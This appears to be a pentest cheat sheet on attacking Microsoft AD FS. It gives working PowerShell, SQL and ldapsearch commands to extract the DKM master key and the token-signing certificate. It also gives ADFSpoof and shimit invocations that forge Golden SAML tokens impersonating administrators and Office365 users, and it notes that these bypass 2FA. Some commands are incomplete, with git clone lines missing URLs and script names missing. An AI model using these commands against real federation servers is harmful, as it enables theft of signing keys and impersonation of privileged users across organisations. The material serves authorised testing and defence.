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Active Directory - Federation Services

Active Directory Federation Services (AD FS) is a software component developed by Microsoft that provides users with single sign-on (SSO) access to systems and applications located across organizational boundaries. It uses a claims-based access control authorization model to maintain application security and to provide seamless access to web-based applications that are hosted inside or outside the corporate network.

ADFS - DKM Master Key

  • The DKM key is stored in the thumbnailPhoto attribute of the AD contact object.
$key=(Get-ADObject -filter 'ObjectClass -eq "Contact" -and name -ne "CryptoPolicy"' -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Data,DC=domain,DC=local" -Properties thumbnailPhoto).thumbnailPhoto

ADFS - Trust Relationship

Gets the relying party trusts of the Federation Service.

  • Search for IssuanceAuthorizationRules

ADFS - Golden SAML

Golden SAML is a type of attack where an attacker creates a forged SAML (Security Assertion Markup Language) authentication response to impersonate a legitimate user and gain unauthorized access to a service provider. This attack leverages the trust established between the identity provider (IdP) and service provider (SP) in a SAML-based single sign-on (SSO) system.

  • Golden SAML are effective even when 2FA is enabled.
  • The token-signing private key is not renewed automatically
  • Changing a user’s password won't affect the generated SAML


  • ADFS service account
  • The private key (PFX with the decryption password)


  • Run mandiant/ADFSDump on ADFS server as the ADFS service account. It will query the Windows Internal Database (WID): \\.\pipe\MICROSOFT##WID\tsql\query
  • Convert PFX and Private Key to binary format

    # For the pfx
    echo AAAAAQAAAAAEE[...]Qla6 | base64 -d > EncryptedPfx.bin
    # For the private key
    echo f7404c7f[...]aabd8b | xxd -r -p > dkmKey.bin 

  • Create the Golden SAML using mandiant/ADFSpoof, you might need to update the dependencies.

    mkdir ADFSpoofTools
    cd $_
    git clone
    git clone 
    virtualenv3 venvADFSSpoof
    source venvADFSSpoof/bin/activate
    pip install lxml
    pip install signxml
    pip uninstall -y cryptography
    cd cryptography
    pip install -e .
    cd ../ADFSpoof
    pip install -r requirements.txt
    python -b EncryptedPfx.bin DkmKey.bin -s adfs.pentest.lab saml2 --endpoint
    /SamlResponseServlet --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'PENTEST\administrator' --rpidentifier Supervision --assertions '<Attribute Name=""><AttributeValue>PENTEST\administrator</AttributeValue></Attribute>'

Manual Exploitation:

  • Retrieve the WID path: Get-AdfsProperties
  • Retrieve the ADFS Relying Party Trusts: Get-AdfsRelyingPartyTrust
  • Retrieve the signing certificate, save the EncryptedPfx and decode it base64 -d adfs.b64 > adfs.bin
    $cmd.CommandText = "SELECT ServiceSettingsData from AdfsConfigurationV3.IdentityServerPolicy.ServiceSettings"
    $client= New-Object System.Data.SQLClient.SQLConnection($ConnectionString);
    $cmd = $client.CreateCommand()
    $cmd.CommandText = "SELECT name FROM sys.databases"
    $reader = $cmd.ExecuteReader()
    $reader.Read() | Out-Null
    $name = $reader.GetString(0)
    Write-Output $name;
  • Retrieve the DKM key stored inside the thumbnailPhoto attribute of the Active Directory:
    ldapsearch -x -H ldap://DC.domain.local -b "CN=ADFS,CN=Microsoft,CN=Program Data,DC=DOMAIN,DC=LOCAL" -D "adfs-svc-account@domain.local" -W -s sub "(&(objectClass=contact)(!(name=CryptoPolicy)))" thumbnailPhoto
  • Convert the retrieved key to raw format: echo "RETRIEVED_KEY_HERE" | base64 -d > adfs.key
  • Use mandiant/ADFSpoof to generate the Golden SAML

NOTE: There might be multiple master keys in the container, remember to try them all.

Golden SAML Examples

  • SAML2: requires --endpoint, --nameidformat, --identifier, --nameid and --assertions

    python -b adfs.bin adfs.key -s adfs.domain.local saml2 --endpoint
    /SamlResponseServlet --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'PENTEST\administrator' --rpidentifier Supervision --assertions '<Attribute Name=""><AttributeValue>PENTEST\administrator</AttributeValue></Attribute>'

  • Office365: requires --upn and --objectguid

    python3 -b adfs.bin adfs.key -s sts.domain.local o365 --upn user@domain.local --objectguid 712D7BFAE0EB79842D878B8EEEE239D1

  • Other: connect to the service provider using a known account, analyze the SAML token attributes given and reuse their format.

NOTE: Sync the time between the attacker's machine generating the Golden SAML and the ADFS server.

Other interesting tools to exploit AD FS:

  • secureworks/whiskeysamlandfriends/WhiskeySAML - Proof of concept for a Golden SAML attack with Remote ADFS Configuration Extraction.
  • cyberark/shimit - A tool that implements the Golden SAML attack
    python ./ -idp http://adfs.domain.local/adfs/services/trust -pk key -c cert.pem -u domain\admin -n -r ADFS-admin -r ADFS-monitor -id REDACTED